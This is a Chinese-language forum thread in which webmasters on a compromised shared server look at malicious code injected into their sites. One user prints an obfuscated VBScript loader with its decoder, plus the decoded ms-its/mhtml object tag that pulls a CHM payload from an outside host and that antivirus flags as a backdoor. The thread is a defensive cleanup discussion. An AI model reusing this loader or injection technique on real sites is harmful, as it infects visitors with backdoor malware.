服务器被人黑了

[wm_chief©]

作者: 不学无术

你认为我的网站和你的在一台服务器吗？

不知道，不学有好几个站呢

[redfox]

隐藏的有点深

hxxp://www.gas169.com/123/sss.asp

只有两行

hxxp://www.gas169.com/js/4.htm
hxxp://www.gas169.com/js/realx.htm

打开 4.htm 如何如下：

<SCRIPT language=vbscript>
hu="琳n5B7LRBA6BAG8KG@8AHoTE8GHEAR94?F8TRBA7E4:FG4EGoTE8GHEAR94?F8TRBAF8?86GFG4EGRoTE8GHEAR94?F8TRBAF8?86GoT7B6H@8AG`F8?86G<BA`8@CGLZ[TRBA6BCLoT7B6H@8AG`F8?86G<BA`8@CGLZ[TRBA589BE86BCLoTE8GHEAR94?F8TRBA@BHF8HCoT7B6H@8AG`F8?86G<BA`8@CGLZ[TpnABF6E<CGpn<9E4@8RFE6o\pna<9E4@8pnaABF6E<CGp琳nG8KG4E84R<7oT6B78TRFGL?8oT7<FC?4LlABA8mTp琳nB5=86GR74G4oTXUcbkmF_<GFl@;G@?l9<?8laa6l/9BB`@;GSVNC4G;Paf`6;@llaf`;G@TRGLC8oTG8KGaK_F6E<CG?8GTp琳naB5=86Gp琳naG8KG4E84p琳nF6E<CGR?4A:H4:8oT=4I4F6E<CGTp琳7B6H@8AG`JE<G8Z6B78`I4?H8`E8C?468Za/VNC4G;Pa:^?B64G<BA`;E89`FH5FGE<A:Zb^?B64G<BA`;E89`<A78K""9ZYf`;G@Y[[[[m琳naF6E<CGp琳"
function UnEncode(temp)
but=50
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next

UnEncode=a
end function


document.write(UnEncode(hu))
</SCRIPT>


把最后一行的 document.write 改成 alert ，运行可以看到代码

是一小段 html + js .
最终的效果是：
<object data="m"s-its:mhtml:file://c:\foo.mht!hxxp://www.gas169.com/js/4.chm:4.htm type="text/x-scriptlet"></object>


我也没太看明白，大约是下载打开那个 4.chm

而 hxxp://www.gas169.com/js/realx.htm

内容：
<script
language=javascript>location.href='./realx.smi';</script>
<center>对不起,此页面未授权访问!</center>

在公司，一下不能检测是什么东东。

[不学无术]

病毒软件报警：

BackDoor-AWQ.b

[sluke©]

哪台服务器啊?

[sluke©]

是有我网站的那台?

[风狼©]

真够BT。。楼上的几位让我仰慕呀~~~

[西子宜©]

和我赏赐的情况差不多

[不学无术]

18。

[sluke©]

还真是

[sluke©]

怎么解决?

[不学无术]

它一般只修改首页的代码，去掉那段代码就好了，另外搜索是否有 acb.js 这个文件以及这个文件的连接。

别的，服务器配置不够安全吧，我也不知道如何解决了。

[sluke©]

我首页上好象没有

[不学无术]

上午我已经改了一些，不过远程操作比较慢，还有一些没有处理。

或许你的已经被我修改了。

[sluke©]

我还以为我的站人家看不上呢

[lane©]